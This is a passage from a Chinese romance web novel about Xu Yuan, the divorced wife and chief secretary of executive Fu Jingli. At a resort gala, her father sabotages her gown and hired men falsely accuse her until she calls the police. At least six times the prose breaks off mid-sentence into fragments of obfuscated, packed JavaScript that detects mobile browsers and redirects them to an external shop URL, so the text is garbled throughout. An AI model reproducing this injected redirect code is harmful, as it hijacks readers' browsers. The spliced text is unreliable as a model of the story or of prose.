他们印象中,傅京礼的左膀右臂是沈略和许愿,根本不是她。 见她如此,许镇江也担心她真的难受,立刻开口:“没事宁宁,我有办法教训她。” 许宁抹了下眼角的泪:“我只是希望姐姐不要太自私,也在傅氏给我留一条路。” 许镇江笑了几声,低声安慰。 这对完全不连心的父女却因为敌人刚好是许愿,所以暂时想法达成一致。 在许镇江眼中,许愿是前妻的女儿,就是用来利用交易的物品。 她嫁入傅家,陪在傅京礼身边,却没能给许家带来任何好处,早就该把位置让给许宁。 而许宁,再如何虚伪。 只要心是向着许家的,那她就是他的好女儿。 这是不争的事实。 …… 剪彩仪式现场,a市有些名头的人都受邀参加。 有些小家族的人也纷纷托关系,参加了此次为度假村特地举办的晚宴。 大家都是聪明人,都很清楚这次傅氏和上面一起合作的项目,参加晚宴的人非富即贵,多结识几个人就能扩大自己的人脉圈,当然是极好的。 宋野是傅京礼和许愿的共同好友,他来得较早,此刻悠哉的坐在角落的沙发上小憩。 有人来寒暄搭讪,他便做出一副醉酒不适的模样,演得实在是出神入化。 他远远看着许愿陪在傅京礼身边,对着那些男人言笑晏晏,优雅温婉却在旁人提到不合常规的合作时眼角含笑的委婉转移话题。 傅氏首席秘书是什么样子的? 像沈略那样温雅俊逸,亦或是许愿这般优雅柔和。 这两人初次接触都会认为是什么好说话的人,但也只有真正接触过,才会知道这两人一身反骨,谈判中都能将人逼到绝路。 这样的人,才是傅氏总裁最合适的首席秘书。 至于那后来的许宁……那算是什么东西? 宋野摇晃着手中的红酒杯,唇角含笑的轻抿了口酒液,目光缓缓的转到门口。 看到姗姗来迟的盛景炎以及不久后才出现的许宁许镇江,总觉得接下来有好戏要看。 “傅总,又见面了。” 许镇江笑呵呵的带着许宁走到傅京礼面前,也不敢做出自己是对方岳父的姿态。 傅京礼眸光冷淡的扫过许宁。 许宁黑亮的眼睛仿佛闪着轻微的光亮,像是藏着几许委屈在其中。 他微微敛眉,却听许宁声音很轻的唤了声“阿礼”。 许愿蹙眉,挡在傅京礼身前,面容冷淡的对上许镇江:“父亲,这是傅氏为度假村举办的晚宴,有什么其他事可以私下说,这不是正式场合。” 她当然知道许镇江为什么会来。 无非是想来此炫耀他能跟傅京礼交流谈话,以此出去骗取投资。 圈内不少人都知道许镇江和傅氏关系匪浅。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617981|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就是真的被许镇江坑了,也只能吃了这哑巴亏,以免为了那笔钱得罪傅氏。 许镇江目光阴冷的看着许愿。 但傅京礼就在这里,他只能压下怒意,僵硬的扯了扯唇角:“许愿,你跟我过来,我有事要问你。” 这态度很明显了。 不能找傅京礼,难道还不能找你许愿吗? 许愿顿了下,看向身边的傅京礼,正要询问是否可以离开,却远远看到沈略回来了。 她向沈略轻微点了下头,对方默契的明白她的意思。 许愿这才放心离开。 许愿跟随许镇江离开,晚宴众人目光纷纷落在其上。 许镇江偶尔笑眯眯的介绍许愿是自己的女儿,许愿只是淡淡点头,并没有其他回应。 许镇江明白许愿不会给他这个脸,最后也 不再介绍了,加快脚步带她去了二楼的休息室。 门一被关上,许镇江就脸色顿变。 刚才在外笑眯眯的人脸色彻底沉下来,他的眼底满是怒意。 许愿抬眸看着他,在许镇江一耳光甩过来时惯性的后退,躲开。 “许镇江,要发疯也请看看场合。” 许愿慢条斯理的坐在沙发上,目光掠过茶桌上的茶点,随意捏了一枚把玩。 “这里是傅氏最新建立的度假村。” “今晚,是傅氏特地为了度假村举办的晚宴。” 许愿声音轻缓,一字一顿。 “来参加这场宴会的都有谁,你真的清楚吗?” “a市的权贵,b市的乃至港市的人都参加了这场晚宴,这些人的名字就是在国内都是排得上号的。” 她轻笑一声:“而我,还需要作为傅京礼的女伴陪他跳舞,陪参加晚宴与那些人物寒暄。” “你敢动手打我,就是要打傅京礼的脸。你想跟傅氏为敌,是吗?” 许愿说到此,轻柔开口:“许镇江先生,你是这样想的吗?” 当然不是! 他疯了才想跟傅氏为敌! “这样更好,今晚本该是你妹妹作为傅京礼的女伴,参加这次晚宴的。” 第28章 我没有妹妹 他终于暴露出自己本来目的。 就是为了为许宁出气。 许愿忍不住笑出声。 “让许宁作为傅京礼的女伴,来参加晚宴?” “你不知道我的能力,难道还不清楚许宁几斤几两?” “请问许宁会几国语言?” “请问她认识现场几个人?” “她懂金融市场还是懂商业?” “或者需要我说得更清楚些吗?她现在可能连最基本的商业合同都看不懂,几次三番险些搞砸傅氏与旁人的合作邀约。” “你让现在的许宁陪在傅氏,是想让你最疼爱的女儿丢脸,也是想让傅氏丢脸。” 许宁笑意轻缓,长指轻点桌面,一副闲散姿态。 “让傅氏丢脸,想好怎么赔了吗?” 这一段话怼得许镇江哑口无言。 纵然许镇江再如何偏心,他却也不得不承认许愿就是比许宁优秀。 许镇江阴恻恻的看着面前的许宁,良久开口。 “许愿,我明白你的意思。今天的事就算了,但往后你也要记清楚许宁是你的妹妹,我们可是一家人。” 许愿眼神闪了闪:“我没有妹妹。” “你可以有弟弟,怎么就不能有妹妹?”许镇江冷笑:“你母亲跟别的野男人生下的儿子可以被你当做弟弟,怎么我跟别的女人生下的女儿,你就不能当做妹妹?” “怎么,你忘了a市还有个苏逸了?” 许镇江面色阴沉的提到苏逸。 许愿很明显的脸色微变,从游刃有余,变成小心提防。 这两者怎么能一样呢? 许宁是许镇江婚内出轨生下的私生女,是他背叛婚姻的证据。 苏逸是许愿母亲得知许镇江出轨有了私生女后提出离婚,拿到离婚证明才和别的男人生的苏逸。 那是母亲重获自由,获得新生的存在。 这两者之间,天壤之别。 从苏逸的名字,就可以看出母亲对他没有其他更多期待。 许是过够了这样的生活,所以取名“逸”。 安逸的“逸”,只希望他活得快乐安逸,不必再过勾心斗角的日子。 此刻许镇江提起苏逸,就是在提醒许愿,她在a市还有个最明显的把柄苏逸。 许愿的母亲苏青莲去世前,见过许愿一面。 她死死握住许愿的手,让她许下承诺一定会照顾好苏逸,不要让他踏入各大家族纷争,让他像普通人一样安安稳稳的活着。 直到许愿答应她的请求,苏青莲才断气。 幼时的许愿其实并不懂苏青莲为什么会这样。 可她太依赖母亲太在乎母亲,所以那时的她请求许镇江花钱给苏逸找了个普通家庭出身的父母。 每个月都会给他们一笔钱托他们演戏,装作是苏逸的亲生父母,教养他。 为了苏逸能如母亲所说,她彻底踏入许镇江的圈子,成为被他利用的工具。 所以纵然她再如何恨许镇江,也不能在嫁给傅京礼后对他出手。 他有她的把柄。 他可以轻而易举的摧毁掉苏逸,毁掉他此刻平静的生活。 所以为了苏逸,许愿一次又一次的低头。 这次,同样会低头。 许愿望着许镇江,声音轻缓:“我不会针对许宁,也从未有过针对她的意思。” “我和傅京礼已经离婚了,她和傅京礼之间的事,我也不会再插手。” “今晚的傅京礼选我作为女伴,只是因为度假村的案子是我跟进的,我是后期的主负责人,他需要由我陪在身边交涉。” 落下这话,许愿心间隐隐作痛。 “往后,傅京礼的女伴都会是许宁。” 她陪了傅京礼三年,这三年一直作为他的女伴出席晚宴拍卖会。 往后那人,都不再是她了。 得到许愿肯定的回答,许镇江果然不再追究。 他那张俊雅的脸上尽是虚伪的笑意。 “许愿,你早这样说我也不会为难你,我也只是想为宁宁讨个说法罢了。” 许愿面无表情,似乎根本不想再理会他。 许镇江也不恼,笑呵呵的看着许愿开门离去,只是目光一直落在她脖颈后礼服拉链位置和绑带位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617982|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼神逐渐暗下来。 许愿说再多,都不如让她在大庭广众出丑来得更快。 她的承诺,他根本不信。 他清楚只要许愿在今晚出了丑,傅京礼以后绝不会再带许愿参加宴会,往后只能换成许宁。 …… 许愿重新回到了晚宴现场。 她缓步走在晚宴之中,远远看到傅京礼被人团团围困,忍不住轻笑出声。 许是男人察觉到什么,抬眸朝这方向看了一眼,正对上许愿含笑的一双眼眸。 她的眼睛亮晶晶的,少了几分清冷感,多了几分热切之意,此刻故意举起一杯热饮,对男人做出举杯姿态。 男人明显挑了下眉。 “都这种时候了,你不仅不去解围,还在这里挑衅他?” 盛景炎吊儿郎当的声音在她耳畔响起。 男人优哉游哉的望着她,眼底 的兴味儿藏都藏不住。 “我本来以为傅京礼脑子真的坏了,像今天这样的场合也会让那位新上任的许秘书作为女伴陪他出场,没想到竟然做出了理智的选择。” 许愿抿了口果汁,嘴巴里都是葡萄汁的清甜味道。 她似有些愉悦的弯起眼睛。 “他又没疯。” “他此前做出的决定,跟疯了也没什么区别。” 盛景炎耸了下肩,反驳许愿。 许愿垂下眼睫,无言以对。 两人相携站立,目光都隐隐的落在傅京礼身上,许愿开口。 “你作为盛世的决策人,怎么没人围着你?” 盛景炎眉梢微挑,笑着开口:“因为盛家才换人,我此前太低调,还没几个人认识我。而认识我的人,也知道我不喜欢在这种场合被打扰。” 纵然盛景炎此刻身份尊贵,但他身上那股子不稳定的带着点邪气的气质,就是让人觉得这人是个混二代。 因此,他才能落得如此清闲。 许愿听了,眉眼都明显弯起来。 说笑之间,头顶却投下大片阴影,身后传来男人低沉的声音。 “在聊什么,笑得这么开心。” 第29章 他的舞伴 耳边传来了傅京礼的声音。 许愿怔了一瞬,转头的瞬间对上男人深邃幽深的目光。 “你不是在跟那群人聊工作?” 怎么这么快就过来了? 傅京礼瞥了眼她手中的果汁,淡淡开口:“那些人也算知道些礼数,没有执意纠缠不放。” 许愿可不这么认为。 不过男人都这么说了,她也没刨根问底的打算。 晚宴现场的音乐换了一首,有些男性已经开始邀请圈内的千金小姐进入舞池。 傅京礼垂眸看向她,对她伸出手:“跟我跳支舞?” 许愿错愕,盛景炎眯眸。 “你的舞伴,不该是许宁吗?” “我什么时候提到过我的舞伴是许宁。”男人轻描淡写的开口。 “她还不适合这样的场合。”傅京礼深深的看了她一眼。 盛景炎在一旁轻笑几声:“傅总这样好像是在利用许经理一样,她虽然作为傅总的女伴来参加晚宴了,但也有选择跟谁一起跳舞的权利,不是吗?” 盛景炎同时也向许愿伸出手:“许经理,作为追求者,也希望你赏脸给个机会。” 盛景炎或许是真的想请许愿跳舞的,但更多的是玩乐的心思挑衅傅京礼。 许愿深知这人的劣根性,委婉的拒绝了盛景炎的邀约。 “盛总,实在抱歉,今晚我是作为傅总的女伴出场的,不会接受别人的邀约。” “那真是太可惜了。” 盛景炎做出一副夸张的表情,其实并没有多伤心,眼底还藏着看好戏的笑意。 坐在角落沙发上的宋野撩起眼皮,一只手支着下巴乐颠颠的看戏。 一旁的江惊蛰轻啧一声,吐槽:“你是真的很闲。” “有戏不看王八蛋。” “可惜了许愿没拒绝阿礼,不然今晚就更有意思了。” 宋野忍不住笑了几声,其实对于许愿会做出的选择,他也早就猜到了。 此刻这么说,也不过就是嘴巴闲不住。 许愿却不知宋野参加一场晚宴拿她跟傅京礼当乐子看,此刻已经选择了傅京礼与他进入舞池。 每次晚宴,傅京礼的女伴都会是许愿,旁人早就习以为常。 她本就学过跳舞,随着男人的动作,身姿飘逸灵动。 以往她并未穿过红裙,礼服更多的是黑白灰这类的颜色。 此刻穿上红色礼裙,在晚宴舞池中仿佛成了最耀眼的存在。 她的身姿纤细婀娜,舞动之间让人感受到她腰肢的柔软。 白皙的手臂也如一截莹莹白玉,让人一眼看去就移不开目光,只能将目光停留在她身上。 她真的很美。 没有进入舞池的许多人,控制不住将目光落在许愿身上,注意到那张明艳的面容都有片刻失神。 倏然音乐一变,许愿随着男人的动作后退几步,脸色却突然一变,只觉背后的衣服一松,礼服骤然滑落。 怎么会! 变故出现得太突然,许愿惊慌的拉拽住要掉落的裙子,护住胸口。 下一秒,肩上已经多了件宽大的西装外套。 带着浅淡的森雪气息。 是……傅京礼的味道。 肩膀被男人揽住,耳边传来男人的声音。 “还好吗?” 许愿眼眶有点发热的嗯了一声。 “我带你去换衣服。” 男人这次不再等她的回应,带着她离开舞池。 方才男人动作快,没有几人看到不对。 此刻有人问起离开的原因,也只淡淡提到一句许愿身体不舒服,带她去休息片刻。 有人察觉到不对,也没有多问。 休息室有备用的礼服,许愿还有些惊魂未定,男人却已经随手挑了件红裙递给她。 许愿看到这件红色礼服,内心那点惊慌都被驱散了。 “我是喜欢红裙,但也没有喜欢到只穿这颜色的。” 许愿扫了眼衣架上挂满的各式各样的礼服:“漂亮的,我都是喜欢的。” 男人顿了下,将红色礼服重新挂回去,取了件草绿色的礼裙。 这条礼裙的样式设计得简洁大方,能凸出女性柔和的线条。 许愿眉眼弯了弯,这次没再拒绝。 “需要我回避吗?”男人问。 许愿刚想开口说“我身上的哪个地方你没看过”,可想到现在男人跟许宁的关系,即将出口的话也被吞下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617983|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她像是有片刻的愣怔一般开口:“还是回避一下吧。” 男人嗯了一声,退出房间。 许愿本来还有些躁动的心,很快静了下来。 她换下那件礼服,明显看到礼服背后的拉链被人恶意用剪刀剪掉,连系着的绑带也被故意拉扯松开。 那人就是想让她在晚宴现场出丑。 若非今晚傅京礼动作快,怕是…… 她心里一凉,脸色愈发难看,手死死握住那件红色礼服的衣摆。 纵然再不愿承认,她心里也清楚能做出这件事的,只可能是今晚单独接触过她甚至对她抱有敌意恨意的许镇江。 他不相信她的承诺,所 以想要真正的毁掉她。 毁掉她的清白,让她在大庭广众之下暴露出躯体,让她再无言踏进这圈子,从而给他此刻疼爱的小女儿让出一条路。 真是好算计。 真是……好恶心的手段。 许愿紧咬着下齿,眼眶都是泛着红的。 她真的不懂。 为什么她就一定要面对这些? 为什么就不能有个人能作为她的后盾? 她真的,很累。 许愿站起身,站立在镜面前,望着那张让无数女人艳羡的面容,却能明显看到眼底流露出的沧桑感。 房门重新被打开。 傅京礼还未踏入,便看到她矗立在窗边的背影,孤独寂寥。 房间内的灯光柔和的洒在她的身上,镀了一层淡淡的柔光,带着明显的忧郁感。 傅京礼顿了下,还是伸出手在门口轻点了一声,像是提示她,他要进来了。 许愿恍然转身。 她已然换上绿色的衣裙,明艳却又清新的颜色衬得她整个人清新脱俗,与那身红衣的张扬全然不同,美丽之中却又透着几分意动。 傅京礼敛了下眉,上前几步。 “猜到是谁做的吗。” 他开口问。 许愿抬头看到,一字一顿:“你问这些,是想为我报复回去吗。” 傅京礼淡淡的嗯了一声。 许愿不由得笑出声。 “是许宁的父亲许镇江做的,你也要为我报复回去吗?” 第30章 手段 “他之所以这么嚣张,就是因为背后有你啊。” 许愿笑了,她笑得看似温婉,好似还像离婚前那般。 可傅京礼却清楚,她波澜不惊的眼底,藏着几分看不真切的冷意。 “你确定是许镇江做的?” 男人看着她,声音淡淡的询问。 “他为什么要这么做。” 许愿喉间溢出一丝笑意。 她长指抚摸着那件红裙,触手的布料丝滑柔软,傅京礼将这件礼服送给她时,她就已经爱上了。 可以说,这是傅京礼真正意义上送给她的第一份礼物。 三年婚姻生活,她没有收到傅京礼任何礼物,哪怕曾间接提到过想要惊喜,得到的却是男人的黑卡。 现在…… 终于收到了第一份礼服,却轻而易举的被人损坏。 这算什么呢? 是在暗示她,她跟傅京礼永远不可能在一起吗。 他们之间曾经存续的关系,就像这件红色的礼服,外表看上去奢华典雅高贵,可最终却逃不过这样的结局。 “你问我,许镇江为什么这么做。” 许愿抬眸看向他,眼神微微闪烁。 “你难道猜不到原因吗。” 许愿望着他,一字一顿开口。 “因为我已经算是独立出来脱离许镇江的掌控,我不是他手中可把控的棋子,更不是他真正的爱人生下的子嗣。我是弃子,而许宁,此刻才是他的掌上明珠。” “圈内人清楚我们关系的人知道我是你的妻子,不清楚我们关系的,只以为我是你的首席秘书。” “但不论是从傅太太的身份来看,还是从首席秘书的角度来看,我都优于许宁不是吗?” 许愿是有绝对的自信的。 “许宁现在是你的人,是你的秘书,不久后可能就会跟你参加晚宴,到那时怎么可能不将她和我放到一起比较?” “不论她是你的秘书或者是你未来的妻子,她都一定会被人挑剔。” “如果这时我被爆出什么负面消息,那些人自然认为许宁要优于我,你选对了人。” 许愿看着他开口:“这么简单的道理,你真的不懂吗?” 她抚摸着那条红裙,眼底藏着的冷意都渗出来。 “多简单的手段啊。” “今日参加晚宴的人非富即贵,如果我在众人面前裸露,消息一定会传遍a市名流圈层,我将会成为彻底的笑柄。” “旁人提到我,最后的印象就是……那个在晚宴上裸露身体出丑的女人。” “我所有的优点光环,都将被掩盖。” 傅京礼沉默。 “所以你问我是谁做的,又有什么意义呢?” 许愿抬眸,眼底带着明显的讥嘲:“许镇江是许宁的父亲,你还真的能对他动手吗。” 他不会为了自己对付许镇江的。 纵然他对自己占有欲强,可在他眼里,许宁一定是最重要的,伤害许镇江就等同于伤害许宁。 她很清楚,傅京礼不会为她讨回公道的。 许愿的笑意愈发轻了。 “你说,许镇江做这些,许宁知道吗。” 她像是无意提到这些,又像是刻意提到这些。 傅京礼看着她,久久未言语,像是透过她在看什么。 目光对视,长久的沉默后。 屋内安静下来,只能听到彼此之间清浅的呼吸声。 颜色高级的灰色桌布,沐浴在灯光下的餐具,桌面上小巧的点心,和盛放着红酒液体的冰桶,不像是休息室,倒像是为客人特意准备的房间。 傅京礼拿起一旁的醒酒器,缓步走到许愿身侧。 许愿顿了下,目光放在傅京礼身上,却见男人倒了一杯酒。 阴影从身前压下来,无形的压迫感几乎令人喘不过气。 他像是在施压。 是的,施压,他在为了许宁向她施压。 许愿眸中的冷意更深。 “傅总,你现在又是什么意思。” 傅京礼瞥她一眼:“要来杯红酒吗,我记得你很爱喝这家酒庄的红酒,这个年份的葡萄口感很不错,酿造出的红酒口感醇厚,可以来一杯。” 他将酒杯推至她手边。 她有些看不透他此刻要表达的意思了。 江惊蛰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617984|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过她可以喝这个品牌的红酒,一杯并不碍事。 她垂眸,清冷的眼眸掩藏了内里更丰富的情绪。 举起酒杯,冰凉的酒液滑过喉咙,带着点微苦的味道,吞入喉中,才逐渐品出点余尽的甜味。 她像是在品酒,又像是在等着男人接下来的话。 “许宁不是你以为的那种人。” 傅京礼终于开口。 许愿怔了片刻,抬眸对上他那双深邃漆黑带着明显压迫的眼神。 被他高大的身影遮住部分灯光后,许愿能清楚的看到他眼底的沉沉凉意。 眼底像是藏匿着会吞噬一切的黑洞。 果然啊,就像她想的那样,他的第一反应就是为她开脱。 “很可笑,你知道吗。” 傅京礼蹙眉看她。 许愿笑了下,伸出 手抓住他的手。 他的手指修长,许是因为之前握过被冰过的酒瓶,掌心冰凉。 哪怕只是虚虚握住,也给人一种凉到心底的压迫感。 许愿抬头注视着面前的男人。 她酒量其实并不好,只一杯,便有些微醺了。 此刻,她用清醒的残存的意识缓缓开口。 “许宁是哪种人呢?在你眼中,她单纯善良美好。可在我眼中,她自私多疑敏感卑劣下作,像是肮脏的污泥中的寄生虫。” “抢走父爱,抢走丈夫,抢走职位……她嫉妒我怨恨我,她想抢走我的一切。” “她就像是早已将目标对准我。” “你却告诉我……她不是那样的人。” 许愿“哈”了一声,一把拽住傅京礼的衣领。 傅京礼皱眉,却还是弯腰,她逼近男人的面容,吐息之间都带着红酒和巧克力的香甜味道,醇厚中带着迷人的热辣。 “她夺走我的一切,却还懵懂单纯吗?” “傅京礼,我陪了你三年啊。” 她清冷的眼睛此刻都带着几许迷离感,草绿色的礼服裙衬得她整个人多了几分淡雅的疏离感。 她就这样看着面前的男人。 “你就这样轻而易举的选择她,抛弃我吗?” 第31章 报警吧 傅京礼的目光落在她的脸上。 他像是很冷静,面上没有任何表情一般,即便是此刻距离这样近也不能从他的脸上寻找出一丝一毫的情绪波动。 眼底那一瞬而逝的复杂情绪,愈发让人难以捉摸。 许愿与他相处三年,至今没有真正读懂傅京礼。 “你看,你选了许宁。” “你选择了让我委屈。” 傅京礼看她这副模样,眉头忍不住皱起。 桌上冰桶内盛满冰块,傅京礼随手拾起一枚冰块,抵放在她白皙的额头上。 突然的冷意,让她身体都跟着抖了下。 许愿喃喃着松开男人,却恍惚的感觉到此刻无形的压力越来越强,冰块化成水痕自额头逐渐滑落,酒意也逐渐消散。 一杯酒,让她朦朦胧胧的产生醉意,又逐渐散去酒意。 意识仿佛在此刻回笼。 傅京礼居高临下的看着她,面上没有任何表情。 “清醒了吗。”他开口。 许愿整个人顿住,她眨动眼睛,揉着手腕后退几步,垂下眼睫,呼吸和心跳逐渐加速,根本无法缓和此刻的心绪。 气氛一时陷入僵持。 傅京礼靠在椅背上,长指轻点桌面,看向许愿的眼神饱含深意。 “清醒了就想清楚你之前的那些话,然后将你此刻内心的想法说出来。” 傅京礼话音落下,房间内再度陷入沉寂。 其实他应该很清楚,许愿那样微醺的状态下说出来的才是真话。 可这不是他想听的。 他要让许愿从混沌中苏醒,然后清醒的理智的回答他的问题。 清醒理智状态下的许愿不会说出她的真实想法,他要的是圆滑聪慧的给他台阶下的那位“许秘书”“许经理”。 许愿彻底清醒了。 她看着面前的男人,愈发清楚他对许宁有多偏爱。 以往那样公平公正的男人,将所有的偏爱都给了许宁。 内心的疼痛感愈发深刻,她的手险些暴露自己情绪的捂住自己刺痛的胸口。 “你要听我说什么,听我为许宁开脱吗?” “好啊。” 她唇角绽放出笑颜,开口时心口疼痛更甚。 “这次的事,罪魁祸首是许镇江,许宁天真无邪什么都不知道什么都不清楚……这样你觉得怎么样。” 傅京礼看着她,吐出冰冷的字眼。 “的确如此。” 他就是如此护短,如此偏爱许宁。 她从未感受到傅京礼热切的情感,此刻却猛然感受到他对许宁的维护。 原来他是这样热烈的去爱着另一个人,不忍她受伤害。 结婚三年,衬得她成了个笑话。 “傅总,得到了令你满意的回答,那请问你打算怎么面对许镇江呢。” 她像是刻意的开口,询问般提到许镇江。 傅京礼看着她久未言语,沉默就已经是回答。 是啊,许镇江是许宁的父亲。 傅京礼怎么可能真的对付许镇江呢,倒是显得她愈发可笑了。 许愿眼睫微颤,再抬起头时又恢复了往日那副淡然模样。 “我明白傅总的意思了。” 许愿转身离开休息室,独留傅京礼一人在休息室。 酒杯中的红酒已经不冰了,成了常温的。 傅京礼一口将杯中红酒饮尽,脑海中闪过许愿离开时的决然身影,薄凉的唇微不可察的抿起。 许宁是那样的人吗? 记忆中的她就是那样单纯无害,坏人是许镇江,而她是无辜的。 傅京礼站起身,离开前目光落在那件已经被毁坏的礼服上。 他捡起那件被许愿落在这里的礼服,长指摩挲着其上用剪刀剪出的平稳刀口,漆黑的瞳眸闪了闪。 他清楚的知道这次的事是许镇江做的。 但他现在不能动许镇江,他不希望许宁的亲人受到伤害。 这次,就当他自私。 他会补偿许愿,以她接受的方式。 …… 许愿重新回到晚宴现场。 却见现场氛围奇怪,几乎都是三三两两的人聚集在一起窃窃私语。 而正中央的几个男人,则是被结实的绳结将身躯四肢完全绑缚住,就连嘴巴里都塞了布条。 那几人身旁就是休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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且这些年,她一直将注意力放到学习和工作上,哪有时间玩男人? 她连傅京礼都要应付不过来了。 许愿目光缓缓落到那几人身上,开口:“报警吧。” 第32章 打脸 被许愿那样一双清冷漂亮的眼睛盯着看的时候,几个被绑住的男人仿佛被摄猎了心神,一时恍惚发怔。 被她这样的眼神勾得不能自已。 片刻后喉间发出“呜呜”的求饶声,似乎是想示弱让许愿为她们松绑。 许愿眼神冷淡,只淡淡扫过几人便开口:“报警吧。” 既然那些人不担心把事情闹大,那她就直接快进到最后一步。 谁能做出这种下作恶心的事,来污蔑女性呢? 这样的手段实在过分眼熟,当初她的母亲就是被许镇江用这样的手段坏了名声。 她不会轻而易举被许镇江拿捏,他敢违法犯罪,她就敢真的把天捅破。 听到这句话的人都惊愕的看着她。 被绑着的那几个男人眼睛都瞪大了,直勾勾的盯着许愿,似乎是想着她什么时候能心软饶过他们。 就连宋野都多问了句:“真要报警?” 许愿点头,作为回应。 躲在人群中看许愿好戏的许镇江和许宁脸色沉下来,谁也没料到许愿敢报警。 许愿说到做到,这就要拨号报警。 许镇江很想冲出去,但心里也清楚许愿不会真的刨根问底,因为许愿还在乎苏逸那个贱种。 这附近本就有一家分局,警员赶来得很快,谁也没想到傅氏的晚宴举办到最后都要登上法制频道了。 巧的是,现场受邀参加晚宴的人中还真有上面的人。 对方很欣赏许愿的策划,对此次度假村方案很满意,直接现场放话让人查到真相,还许愿一个公道。 这位领导人,几乎是当着所有人的面开口为许愿开脱。 “许经理我是最清楚的,是个责任感很强的人。我这边调查到的资料显示许经理从未真正谈过一场恋爱,更没有跟什么异性亲密接触,去酒店过夜。” “她行得端坐得正,一直都是干干净净的。” “我不希望今天的事传出去,更不希望任何人在外说些闲言碎语,败坏许经理的名声,希望各位谨记。” 这位发话了,谁还能嚼舌根? 许宁在暗处,脸色隐晦不明,她咬着下唇,脸色愈发难看。 都到这一步了,万万没想到会跳出这么个人捧她。 死老头子,最好早点下台! “请稍等,我有些问题想问这几位控诉我的异性,我总要澄清一番,让自己真的恢复清白。” 她都这样说了,别的人还能阻拦不成。 几个男人纷纷支支吾吾的开口,脸上表情僵硬得像是被逼着背台词一般。 “你说我高中时期跟你早恋,实在不好意思,我高中忙着跳级考大学,那时代替学校参加了几场竞赛,你说的早恋的时间,我人在国外。” “你说我跟你建立暧昧关系?跟你在夜店一拍即合?实在不好意思,那段时间我一直在f国做市场调研,三个月之久都未回国,敢问这位说我们之间暧昧亲密的,能提供出出国的证据吗?” “你说我大学时期跟你在一起期间还劈腿其他人,请你提供出所谓的证据。” “如果没有证据,我可以告你们几位诽谤侮辱罪,让你们好好长记性!” 许愿言辞犀利却又条理清晰的反驳了这几个男人的话,开口时毫不留情。 任谁都没能想到,许愿有这样惊人的战斗力。 几个男人被带走,许愿面色平静,目光看向不远处。 对上许镇江和许宁扭曲的脸,她的面上绽放出笑意,像是故意的让他们知道她此刻的好心情,仿佛是在炫耀一般。 许宁眼神暗了暗。 闹了一整晚,非但没能设计到许愿,却是让晚宴众人清楚知道了许愿背后的强大人脉和强大的内心。 棋差一招,没想到许愿时运如此好。 许宁面色挣扎着离开,许镇江紧跟在许宁身后。 傅氏好好的度假村剪彩晚宴,实在是跌宕起伏惊奇得很,倒是让更多人关注此次度假村策划案主笔许愿。 傅京礼自二楼回到大厅时,那几个男人已经被警方带走。 现场虽然不再沉寂,却也有些气氛古怪,再也回不到方才的热闹中了。 傅京礼眯眸,看到宋野乐哉乐哉的叉着水果盘吃水果,这才走过去。 “刚才发生了什么事。” 水果盘里有颗草莓酸得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617986|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离谱,酸得宋野整个人脸都皱起来。 他干咳一声,将刚才发生的事情解释了一遍。 等说完后,他才幽幽开口:“罪魁祸首是谁其实你心里清楚,只是不知道你是打算偏袒,还是将事情暴露维护你的前妻了。” 后续的发展,是傅京礼都想不到的。 